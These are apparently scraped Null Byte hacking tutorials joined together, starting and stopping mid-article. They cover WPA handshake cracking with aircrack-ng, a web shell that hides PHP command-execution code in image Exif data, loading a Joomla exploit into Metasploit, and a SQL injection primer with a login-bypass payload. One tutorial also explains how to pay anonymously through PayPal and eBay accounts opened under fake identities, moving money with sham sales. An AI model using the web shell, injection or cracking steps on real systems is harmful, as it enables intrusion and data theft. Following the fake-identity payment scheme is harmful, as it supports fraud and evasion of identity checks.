Uploading stub...
Running stub...
Stub running...
Changing baud rate to 460800
Changed.
Configuring flash size...
Auto-detected Flash size: 4MB
Compressed 270528 bytes to 199394...
Wrote 270528 bytes (199394 compressed) at 0x00000000 in 5.2 seconds (effective 416.4 kbit/s)...
Hash of data verified.
Leaving...
Hard resetting via RTS pin...Step 7: Enter Monitor ModeOn your computer, put your wireless interface into monitor mode so that we can sniff the traffic over the network. You can usegrep UPwithip aorifconfigto find the name of your Wi-Fi adapter. Below, mine is wlp3s0.Don't Miss:Check if Your Wireless Network Adapter Supports Monitor Mode & Packet Injection~$ ip a | grep UP
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
2: enp0s25: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc fq_codel state DOWN group default qlen 1000
4: wlp3s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000Now, take your wireless card's name and use theairmon-ng startcommand to put it into monitor mode.~$ sudo airmon-ng start wlp3s0
PHY Interface Driver Chipset
phy0 wlp3s0 iwlwifi Intel Corporation Centrino Advanced-N 6205 [Taylor Peak] (rev 34)
(mac80211 monitor mode vif enabled for [phy0]wlp3s0 on [phy0]wlp3s0mon)
(mac80211 station mode vif disabled for [phy0]wlp3s0)You can now check that the card has a "mon" at the end using the same command used above to find the card's name. You could also try it withiwconfig. Below, mine is now wlp3s0mon.~$ ip a | grep UP
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
2: enp0s25: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc fq_codel state DOWN group default qlen 1000
17: wlp3s0mon: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UNKNOWN group default qlen 1000Now, start recording on a wireless interface withairodump-ngusing-c 11to set channel it to 11. Of course, if you used a different channel, make sure to use that instead.~$ sudo airodump-ng wlp3s0mon -c 1Step 8: Open WiresharkNow, unplug the ESP8266 board from your computer, and let's jump over to Wireshark. Here, we'll try to capture packets and make sure that we can successfully receive what we're looking for.So, start Wireshark, and make sure you're currently connected to the correct Wi-Fi network. Start running it (click the shark fin icon), and then stop it shortly after to see that it's working. Now, we need to write a capture filter that will allow us to search for handshakes. Type the following into the filter field.wlan.ssid == "test" || eapolEapol will give us handshakes and omit any other packets that aren't relevant, so we should only see handshakes to capture if we're scanning with this filter.Start the scan again, then plug in the microcontroller to see if we're broadcasting handshakes.You should now be seeing lots and lots of different handshakes. Stop the scan because this should be everything we need. Click on one of the handshakes to see more information about it. Then, you can scroll through the handshakes to see all the different keys.With all of these, we should have everything needed to crack the password.Step 9: Save Your ScanNow, how do we actually go about cracking the password? First, let's save what we found. In Wireshark, go to "File," then "Export Specific Packet." I'm saving it to my desktop (name it whatever you want), but make sure you change the "Export as" type to "pcap" format. Save it.Step 10: Run the AttackOK, now open a terminal window and runaircrack-ngwith a dictionary and the PCAP file. This will locate any handshakes inside the file that are valid to crack. At first, I'm going to omit the wordlist because it will auto-run. This would be the list we would use if we wanted to actually attempt some cracking, but I just want to confirm there is a captured handshake.~$ sudo aircrack-ng /myhandshakes.pcap
Opening myhandshakes.pcap
Read 413 packets.
# BSSID ESSID Encryption
1 ██:██:██:██:██:██ WPA (0 handshake)
2 ██:██:██:██:██:██ WPA (1 handshake)
Index number of target network?As you can see above, there is one with a valid handshake. Now, let's see if we can run the attack.~$ sudo aircrack-ng -w /wordlist.txt /myhandshakes.pcap
Opening myhandshakes.pcap
Read 413 packets.
# BSSID ESSID Encryption
1 ██:██:██:██:██:██ WPA (0 handshake)
2 ██:██:██:██:██:██ WPA (1 handshake)
Index number of target network? 2
Opening myhandshakes.pcap
Read 413 packets.
1 potential targets
An ESSID is required. Try option -e.
Quitting airrack-ng...If you get an error like the one above, you didn't capture any beacon frames with the network name in them, which is necessary to crack it.In this case, I actually wrote a bad filter above, where I was only including eapol packets when I exported everything from Wireshark. To fix this, go back to Wireshark. The beacon frames contain the name of the network under the tag parameters, so change the capture filter to have the transmitter address of the fake network, then re-export the file to your desktop.eapol || wlan.fc.type_subtype == 0x0008Now, run the attack again with the newly created PCAP file.~$ sudo aircrack-ng -w /wordlist.txt /myhandshakesUPDATED.pcap
Aircrack-ng 1.2 rc4
[00:00:01] 3956/4002 keys tested (2209.00 k/s)
Time left: 0 seconds 98.85%
KEY FOUND! [ nullbytewht ]
Master Key : 47 69 21 B2 4E CF 10 C4 CC AE 08 85 17 96 05 DD
88 89 48 A3 F8 04 A8 8E D1 6B 81 23 FD 90 DC BB
Transient Key : AC 07 60 0B A3 82 44 95 97 2C E0 88 44 29 04 20
B2 68 33 99 73 17 C6 31 41 24 58 F8 F6 F9 85 63
01 F9 E7 B7 E8 D2 6B EE 1A 02 71 56 5C D6 38 41
D0 DA 26 38 63 ED 70 71 ED F9 B8 3A 1B 7E 94 B5
EAPOL HMAC : BB 77 1B 4D 6F FD FE 44 C1 94 8A A1 3E 31 2A 0BWhen we run it now, we can see we were able to successfully crack the network because we actually had the beacon frame necessary. Now, if we go back and omit the wordlist again, we should be able to see that we were successfully able to identify not only the handshake but also the name of the network.~$ sudo aircrack-ng /myhandshakesUPDATED.pcap
Opening myhandshakesUPDATED.pcap
Read 7851 packets.
# BSSID ESSID Encryption
1 ██:██:██:██:██:██ TheName WPA (1 handshake)
Choosing first network as target.
Opening myhandshakesUPDATED.pcap
Read 7851 packets.
1 potential targets
Please specify a dictionary (option -w).As you can see above, I have a single valid handshake for the network called "TheName," which we were able to generate by flashing the ESP8266 in Arduino IDE.Happy Cracking!We already know the ESP8266 microcontroller is a pretty incredible device. With it, we can play both sides of a Wi-Fi conversation and make it so we can practice Wi-Fi handshake cracking on a single microcontroller that costs just a few dollars.Don't Miss:Conduct Wireless Recon on Bluetooth, Wi-Fi & GPS with Sparrow-wifiWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Retia/Null ByteRelatedHow To:Crack WPA & WPA2 Wi-Fi Passwords with PyritHow To:Scan, Fake & Attack Wi-Fi Networks with the ESP8266-Based WiFi DeautherHow to Hack with Arduino:Building MacOS Payloads for Inserting a Wi-Fi BackdoorHow To:Change a Phone's Coordinates by Spoofing Wi-Fi Geolocation HotspotsHow To:Control Anything with a Wi-Fi Relay Switch Using aRestHow To:Hack Wi-Fi Networks with BettercapHow to Hack with Arduino:Tracking Which Networks a Mac Has Connected To & WhenHow To:Inconspicuously Sniff Wi-Fi Data Packets Using an ESP8266How To:Automate Wi-Fi Hacking with Wifite2How To:Detect & Classify Wi-Fi Jamming Packets with the NodeMCUHow To:Intercept Images from a Security Camera Using WiresharkHow To:Program a $6 NodeMCU to Detect Wi-Fi Jamming Attacks in the Arduino IDEHow To:Safely Launch Fireworks Over Wi-Fi with an ESP8266 Board & ArduinoHow To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow To:Program an ESP8266 or ESP32 Microcontroller Over Wi-Fi with MicroPythonHow To:Create Rogue APs with MicroPython on an ESP8266 MicrocontrollerHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:Share Wi-Fi Adapters Across a Network with Airserv-NgHow to Hack Wi-Fi:Stealing Wi-Fi Passwords with an Evil Twin AttackHow To:Get Started with MicroPython for ESP8266 MicrocontrollersHow To:Check if Your Wireless Network Adapter Supports Monitor Mode & Packet InjectionHow To:Spy on Traffic from a Smartphone with WiresharkHow To:Play Wi-Fi Hacking Games Using Microcontrollers to Practice Wi-Fi Attacks LegallyHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:This Widget Lets You Open Wi-Fi Settings Faster, Share Passwords & More on Your iPhoneHow To:Check Wi-Fi Reliability & Speed at Hotels Before Booking a RoomHow To:Use an ESP8266 Beacon Spammer to Track Smartphone UsersHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords Using Aircrack-NgHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHow to Hack Wi-Fi:Cracking WPA2 Passwords Using the New PMKID Hashcat AttackHow to Hack Wi-Fi:Capturing WPA Passwords by Targeting Users with a Fluxion AttackHow To:Spy on Network Relationships with Airgraph-NgHow To:Detect When a Device Is Nearby with the ESP8266 Friend DetectorAndroid Basics:How to Connect to a Wi-Fi NetworkHow To:Save Battery Power by Pairing Wi-Fi Connections with Cell Tower Signals on Your Galaxy Note 3How To:Identify Antivirus Software Installed on a Target's Windows 10 PCVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow To:Easily See Passwords for Wi-Fi Networks You've Connected Your Android Device ToWiFi Prank:Use the iOS Exploit to Keep iPhone Users Off the Internet |
How to Upload a Shell to a Web Server and Get Root (RFI): Part 1 « Null Byte :: WonderHowTo | When we hack a web server, we usually want to be able to control it in order to download files or further exploit it. There aremanywebsites that let you upload files such as avatar pictures that don't take the proper security measures. In this series, I will be showing you how to gain root access to such a web server.For part 1, we will be trying to upload a PHP file that allows us to control the system.RequirementsWe are going to need Nmap for this part of the tutorial.Step 1: Scan the ServerFor this tutorial, I have setup a vulnerable server on my network. Let's scan it.Nmap found two open ports:80and22, so we know that the server has both HTTP and SSH services. At this point, wecoulduse Hydra to crack the root password on SSH, but that is not the point of this tutorial. Let's visit the webpage...Step 2: Upload AttemptLet's view the upload page...The form tells us that the file must be either a.jpeg, a.jpg, or a.pngfile. But, just in case, we'll try to upload a malicious PHP file.Darn it. It doesn't upload. But what if we add our malicious code to the Exif data of a picture file?Step 3: Backdooring an ImageIn order to upload our shell, we need to use a legitimate picture file. In order to get our code to run, we need to add the PHP code to the Exif data. Enter this command:exiftool -Comment="<?php passthru(\$_GET'cmd'); _halt_compiler();" /root/picture.jpegThe\$_GET'cmd');code is what reads our command, and the_halt_compiler();prevents the file-checking system from reading on with the binary data.Now PHP code that let's us run commands is backdoored into the comments. Rename the file topicture.php.jpegso that the website is forced to process the PHP code.Step 4: Trying AgainNow, let's upload our backdoored file.Yes! It worked! Now we can use commands to control it with our web browser.Look! We were able to get system info!Until Next Time...Now that we have control over the system, we will be looking for ways to upload our payload to the server next, and hopefully get an interactive shell.C|H of C3Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Exploit Remote File Inclusion to Get a ShellHow To:Upload a Shell to a Web Server and Get Root (RFI): Part 2How To:Use SQL Injection to Run OS Commands & Get a ShellHow To:Exploit PHP File Inclusion in Web AppsHow To:Configure a Reverse SSH Shell (Raspberry Pi Hacking Box)Hack Like a Pro:Using TFTP to Install Malicious Software on the TargetHow To:Use Command Injection to Pop a Reverse Shell on a Web ServerHow To:Perform Local Privilege Escalation Using a Linux Kernel ExploitHIOB:WebSite Hacking Series Part 2: Hacking WebSites Using The DotNetNuke VulnerabilityHow To:Get Root Filesystem Access via Samba Symlink TraversalHow To:Exploit Shellshock on a Web Server Using MetasploitHow To:Hack Metasploitable 2 Including Privilege EscalationHow To:Reverse Shell Using PythonHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHRoot Exploit:Memodipper Gets You Root Access to Systems Running Linux Kernel 2.6.39+How To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Push and Pull Remote Files Securely Over SSH with PipesNews:Change from BASH to zshHow Null Byte Injections Work:A History of Our NamesakeCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsHow To:Safely Log In to Your SSH Account Without a PasswordHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingNews:Anonymity, Darknets and Staying Out of Federal Custody, Part One: Deep WebNews:Rigging A Blue CrabLock Down Your Web Server:10 Easy Steps to Stop Hackers from AttackingDrive-By Hacking:How to Root a Windows Box by Walking Past ItHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHow To:Create an SSH Tunnel Server and Client in LinuxNews:Beautiful Minecraft Timelapse of a Giant Train StationNews:Give Someone the Minecart Ride of Their Life in This Saturday's Minecraft WorkshopCommunity Byte:HackThisSite, Realistic 3 - Real Hacking Simulations |
How to Securely & Anonymously Spend Money Online « Null Byte :: WonderHowTo | Anonymity is very important to many internet users. By having your "e-identity" exposed online, you can be stuck with a number of unwanted issues, such as:Privacy invasion.Internet tracking.Exposure to being hacked.However, what if we wanted to spendmoneyanonymously? This is actually a hard task when it comes to the internet. To purchase something on the internet, you need to have a debit or credit card. Alternatively, you can use aPayPalaccount, but that also needs a debit or credit card to activate and use. In real life, we can use cash to purchase something anonymously.When you purchase something with a credit or debit card, the serial number of the item you bought is stored by the bank for statements and customer purchase records. This means anyone who has access to that information knows what you are purchasing.Also, if you are using PayPal, you are likely not safe. PayPal uses your real information, and the average person does not use safe practices. Lets say you bought something online, the person you purchased from will have your name and address already. What if your security question is "Mother's maiden name" or "First house"? This information is easy to obtain when your PayPal holds accurate information.In today'sNull Byte, I am going to show you how to get around the anonymous spending dilemma.RequirementsMoney for a prepaid debit card (at least 10 dollars will cover cost and put money on the card)APayPalaccount with real information and your bank account linked to itAnother shipping address (Optional)PreparationTo do any method of anonymous online spending, we first must purchase a prepaid debit card and activate it. They can be found at any gas station or supermarket.During activiationDO NOTenter your social security number.Pay for the card incash.Do not register the card with any of your real information, such as address and name.For added anonymity, you may want to useTorto anonymize your traffic and spending accounts, not justwhois spending the money.Anonymous PayPal MethodTo spend cash anonymously on the net in the easiest, most universal way would be to use PayPal. Let's go through the steps to do it. For this example, lets purchase something fromeBay.SpendingOpen up your PayPal account with a fake name, address, etc. Make its information match the fake stuff that you enter when registering the debit card.Create aneBayaccount with the same information. This will be your spending and receiving account.Purchase something on eBay with your new PayPal account, and have it shipped to a friend's house under your fake name (to avoid the question being asked, packages are delivered according to address, not name).ReceivingSell something on your fake PayPal account.After you receive payment and mail the goods, have yourrealPayPal and eBay accounts post an ad for apiece of paper.Sell the paper for the amount of money the goods were sold for to your fake account. This allows for a nice, natural-looking transfer. Anonymous.You could also invest money intoBTC, which is all anonymous.Thanks for reading this Null Byte and make sure to follow me onTwitterfor updates!Come chat with us:IRC,Webchat.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto bystevendepoloRelatedHow To:Text and email anonymouslyHow To:The Top 80+ Websites Available in the Tor NetworkAnonymous Texting 101:How to Block Your Cell Phone Number While Sending Text MessagesHow To:Delete files securely in Mac OS X LeopardHow To:Surf the web anonymously using TOR and PrivoxyHow To:Browse the web anonymously using Privoxy and TorHow To:MIT's Guide To Picking Locks via Zine LibraryNews:Whitman Sets Record for Most Campaign Self-Financing in US HistoryNews:Viva Africa! "Wavin Flag" - World Cup 2010News:Kid Spends $1400 of Mom's Money on FarmvilleHow To:Open and Pour a Bottle of ChampagneNews:Meg Whitman Campaign Spending Hits $99 MillionRemove Your Online Identity:The Ultimate Guide to Anonymity and Security on the InternetNews:Indie and Mainstream Online Games Shut Down by LulzSecHow To:Shop securely onlineHow To:get free carNews:Internet Affiliate Marketing - My Favorite 'Make Money Online' Method to Start From Scratch!News:Congresswoman Maxine Waters campaign financeNews:Jerry Brown's First TV AdNews:Affiliate Marketing Can Be A Good Way To Earn Money On The InternetNews:People play FarmVille because...News:Cash Gopher - Make Money Online (The Easiest Way There Is!!)News:Paid to Write Online the JourneyNews:After You Make Money, Buy Something for Cheap!News:OutrightNews:W.M.D (Wedgie of Mass Destruction)News:Cup Cakes In Trouble A Taveling Night MareNews:why people should vote no on Proposition 23How To:Push and Pull Remote Files Securely Over SSH with PipesNews:Finally! A Practical Use for Arcade Game SkillsAngry Birds:The Big Indie Game Success StoryNews:Mystery Game - Black Stallion!News:Symantec Source Code Released by Anon After Failed NegotiationsHow To:Remain Anonymous and Chat Securely with CryptocatHow To:Your Guide to Buying Computer Parts: How to Get the Most for Your Money |
Hack Like a Pro: Metasploit for the Aspiring Hacker, Part 9 (How to Install New Modules) « Null Byte :: WonderHowTo | Welcome back, my tenderfoot hackers!One of the issues we often encounter withMetasploitis how to add new modules. Although Rapid7 (Metasploit's owner and developer) periodically updates Metasploit with new exploits,payloads, and other modules, at times, new modules appear that are not added to the Metasploit repository.In addition, when we re-encode a module to obscure its malicious nature withmsfvenomorVeil-Evasion, we will often need to re-insert them into Metasploit for use by the framework.In this tutorial, we will look at how to insert a module into Metasploit. In this case, we will be inserting an exploit module that has never been included in the Metasploit Framework, but is available from multiple sources.Step 1: Fire Up Kali & Open MsfconsoleLet's begin, as usual, by firing upKali, opening a terminal, and starting the Metasploit console by typing:kali > msfconsoleStep 2: Search Joomla on Exploit-DBLet's go to one of my favorite places to find new exploits,Exploit Database(exploit-db.com).Click on the "Search" button in the upper right of the screen, then on "Advanced search." This will open a search window similar to the one shown below. There, type in "joomla" in the "Free Text Window" and "metasploit" in the "Author" window. (All exploits developed for Metasploit are categorized with metasploit as the author, no matter who wrote them.) This should pull up all Joomla exploits developed for use in the Metasploit Framework. Joomla is the popular, open-source web application CMS.As we can see, there are three. The first one, "Joomla Akeeba Kickstart," is the newest and may not be included yet in the Metasploit Framework.Step 3: Search Joomla in MsfconsoleLet's go back to our msfconsole and search to see whether that new Joomla exploit has been included. Type:msf > search type:exploit joomlaAs you can see, there are three exploits in Metasploit as well, but not the "Joomla Akeeba Kickstart" exploit we found in Exploit-DB.Step 4: Insert the New Exploit in MetasploitNow that we have established that this new Metasploit exploit is not in the updated Metasploit, the question becomes, how do we insert it into Metasploit so that we can use it?The first step is to make a copy of the exploit. In this case, I will simply make a copy and paste operation to save it to a text file on the Desktop of Kali.Go back to Exploit-DB and click on the "Joomla Akeeba Kickstart Unserialize Remote Code Execution" exploit. When you do so, it will open a screen like below that displays the entire exploit.Let's copy it and put it into a text editor such as Leafpad and save it to our Desktop. In my case, I used "joomla_kicktstart.rb" as the file name. What you name the exploit is not really important, but where you place it is.Step 5: Insert It into the Metasploit ModulesFirst, we need to open another terminal. To load this new module, we will need to create a directory in a format that Metasploit will understand and can read. We can use themkdircommand with the-pswitch (create subdirectories as well).kali >mkdir -p /root/.msf4/modules/exploits/unix/joomlaNote that the .msf4 is a hidden directory and will not appear when doing a directory listing unless you use the-aswitch, such asls -al.Now that we have created the directory, let's navigate to that directory with thecdcommand.kali > cd /root/.msf4/modules/exploits/unix/joomlaLastly, we need to move our new exploit to this directory. We can do that with themvcommand. Since our exploit is on our Desktop, we need to move it from there to our new directory where Metasploit can use it. We can move it by typing:kali > mv /root/Desktop/joomla_kickstart.rb /root/.msf4/modules/exploits/unix/joomlaStep 6: Test Whether You Can Use ItNow that we have moved our new exploit to Metasploit, let's test whether we can use it. We will need to restart Metasploit in order for it to load new exploit. When we have a new msf prompt, let's search for our new module by typing:msf > search type:exploit joomla_kickstartAs you can see, Metasploit found our new exploit and it is ready to use! Now, let's load it for use with theusecommand. Type;msf > use exploit/unix/joomla/joomla_kickstartOur new exploit loaded successfully and is ready to start using. Finally, let's stake a look to see whether the options fields loaded successfully by typing:msf > show optionsAs you can see in the screenshot above, Metasploit responded with the options we need to set to use this new module. We are ready to begin exploiting Joomla with our new module!We can use this same method to load a new payload, post exploitation, orauxiliary module(with the minor difference that the subdirectory would not be exploits, but rather payloads, etc.).Keep coming back, my tenderfoot hackers, as we continue expand our knowledge and capability of the world's most popular exploitation framework.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 7 (Autopwn)Hack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 11 (Post-Exploitation with Mimikatz)Hack Like a Pro:Hacking the Heartbleed VulnerabilityHack Like a Pro:Exploring Metasploit Auxiliary Modules (FTP Fuzzing)Hack Like a Pro:Exploring the Inner Architecture of MetasploitHack Like a Pro:Python Scripting for the Aspiring Hacker, Part 1Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 3 (Payloads)How to Hack Databases:Hunting for Microsoft's SQL ServerMac for Hackers:How to Install the Metasploit FrameworkHack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerHow To:The Essential Skills to Becoming a Master HackerHack Like a Pro:How to Hijack Software Updates to Install a Rootkit for Backdoor AccessHack Like a Pro:How to Hack the Shellshock VulnerabilityHow to Hack Databases:Cracking SQL Server Passwords & Owning the ServerHack Like a Pro:How to Hack Facebook (Same-Origin Policy)News:What to Expect from Null Byte in 2015Hacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyHack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)Hack Like a Pro:Hacking Samba on Ubuntu and Installing the Meterpreter |
The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL Database « Null Byte :: WonderHowTo | No doubt you've seen some of thehack logsbeing released. One part that stands out over and over again is the heavy database usage. It used to be early on that virus and hackers would destroy data, usually just for lulz. However, with the explosive commercial growth of the Internet, the real target is turning into data theft. You should learn how this happens so you canprotect yourselfaccordingly. Let's take a look at what makes this possible and dare I say, easy.Structured Query Language?SQL (StructuredQueryLanguage) is a very powerful and diverse programming language used to create and query databases. As SQL is only a language, there are several flavors of software you can use to operate and manage the database. Together, these are calledRelation Database Management Systemsand are simply software that is used to manipulate the database.CommonRDBMSinclude:Microsoft SQL serverMySQLPostgreSQLSQL LiteIt's worth noting that each of these have slight variations on syntax, and with MySQL being the most common, we'll focus on that in this article.Now, an RDBMS is called arelationaldatabase system because the data is stored intables. Before this, data was stored in long data files with entries delimited with special characters. This made searching and retrieving data harder then it should have been. As you can see from the fictional example below,tablesare made ofrowsandcolumns.In a relational database, you can quickly compare data and stored values because of the arrangement of data in columns. This model takes advantage of this uniformity to build completely new tables out of required information from existing tables. In other words, it uses therelationshipof similar data to increase the speed and versatility of the database.Knowing what a database is is all good and well, but useless if you don't know the commands and the syntax, right? SQL is simple starting out and like most other programming languages, expands the deeper you go. Let's take a few examples of some of the MySQL code you might encounter. Again, we choose MySQL here because it is the most common database server you will find in the wild. These can be used in a command line and more commonly embedded into code likePHP.SELECTSELECT * FROM table_name ;Returns all rows and all columns from table_name. The wild card (*) means all rows and all columns. This is an easy way to view the entire contents of a table. Switching the wild card with a search string allows you to select only the entries you are looking for.INSERTINSERT INTO table_name ( col1, col2, col3) VALUES ( 'col1_data', 'col2_data', 'col3_data') ;Inserts a row into the table using the data defined in the VALUES section.As you can see, the column names are established within the first set of parenthesis, the order of the data in the second set of parenthesis must match the order of the column names defined in the first set of parentheses.DELETEDELETE FROM table_name WHERE column_name='search_data' ;TheDeletecommand does just what you might expect it to do, it deletes entries. In its most simple syntax:DELETE FROM table_name ;This statement clears the contents of the table, but leaves the actual table there. TheWHEREclause is letting you specify what parts should be deleted. If you had a table namednullbyteand a row namedusers, you could removeAllenfrom the table with:DELETE FROM nullbyte WHERE users = 'Allen' ;DROP TABLEDROP TABLE tablename1 ;TheDropTablecommand deletes a table from the working database in theRDBMS. Again, not to be confused withDELETE, which will only empty the table.In fact, if we could not do it this way, we might be faced with a maintenance nightmare. You will see this command often in hacklogs at the end.SQL OperatorsThere are two type of operators, namelycomparison operatorsandlogical operators. These operators are used mainly in theWHEREclause to filter the data to be selected.Comparison operators are used to compare the column data with specific values in a condition. This functions just like standard programming and math. For the non-coders reading this, below is a list.= equal to!= is not equal to< less than> greater than>= greater than or equal to<= less than or equal toExamplesLet's say you just rooted a web server. We'll assume you know that the root password for the MySQL databases are the same as the machine you just compromised. What do you do?First, you want to log into MySQL and see what goodies are waiting for you. You do this by:$ mysql -u root -pThe -u flag is telling MySQL you are logging in as root. From this point, it is loot and pillage time. We want to see what we are working with, so we type:mysql> show databases ;Notice how we add a semicolon at the end to let SQL know that's the end of our statement. This is very common in most programming languages.Now what do we have here? A database named user_accounts? This looks like something we might want to take a look at. First we need to connect to the database by:mysql> use user_accounts ;Once we have that connection made, we want to look at the tables with:mysql> show tables ;Let's peek at the table now. Remember the SELECT statement from above?mysql> SELECT * FROM user_accounts ;Obviously, these are made up names and addresses and such, but this could be a very real table on a very real database. As you can see, this attacker just hit the money.SQL InjectionSQL Injection happens when a server accepts user input that is directly placed into anSQL statementand doesn't properly filter out dangerous characters. This can allow an attacker to not only steal data from a database, but also modify and delete it. Certain SQL servers such asMicrosoft SQL Serveralso containstored and extended procedures(database server functions). If an attacker can obtain access to these procedures, it may be possible to compromise the entire machine.Attackers commonly insert single quotes into a URL query string, or into a form's input field to test for SQL Injection. If an attacker receives a syntax error message, there is a good chance that the application is vulnerable to SQL Injection.That being said, injection is one of the most common vectors used to attack a server hosting an SQL database. This is because web applications are typically deployed as Internet-facing and if written in-house, their code will probably not have been subject to the same stringent security auditing as commercial software. If the user input is allowed to be passed directly to the database, then special control characters can be typed in. If this happens, an attacker can turn what was a harmless search for a password into tricking the server to dumping the contents of the entire database. Yeah, whoa.For example, imagine this line of code:SELECT * FROM Users WHERE Username='$username' AND Password='$password' ;Which is designed to show all records from the tableusersfor a username and password supplied by a user. Using a web interface, when prompted for his username and password, an attacker might enter:1' or '1' = '11' or '1' = '1Resulting in the query:SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' ;The attacker has effectively injected a wholeORcondition into the authentication process. Worse, the condition '1' = '1' is always true, so this SQL query will always result in the authentication process being bypassed.Headshot. Boom. Tango down.Debian/Ubuntu Users Read This!Note that the Debian/Ubuntu distribution will have an additional file/etc/mysql/debian.cnf. This file holds a password for the userdebian-sys-maint, which is used by the install tooldpkgto perform database upgrades. This can also be used in emergencies if you forget the root password. It is also a security hole if the file is available to others!In ClosingThere are many kinds ofcode injections, not only SQL. There are also many types of SQL injection, not only the examples above. Most of the time, this issue derives from lazy administrators and programmers who should know better. Other times, this is a highly complicated vector that takes a little knowledge to pull off. Some mitigating factors include keeping all SQL scripts defined withinstored proceduresand managing permissions accordingly so one compromise does not sink the entire ship. That being said, most of the time—simply a programmer error.Now you know what to watch out for and what to look for.Questions? Concerns? Do you know other injection examples you would like to share? Leave us a comment or visit ourforum.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImages byW3,BlogspotRelatedSQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackSQL Injection 101:Database & SQL Basics Every Hacker Needs to KnowSQL Injection 101:Advanced Techniques for Maximum ExploitationHow to Hack Databases:The Terms & Technologies You Need to Know Before Getting StartedHow To:SQL Injection! -- Detailed Introduction.How 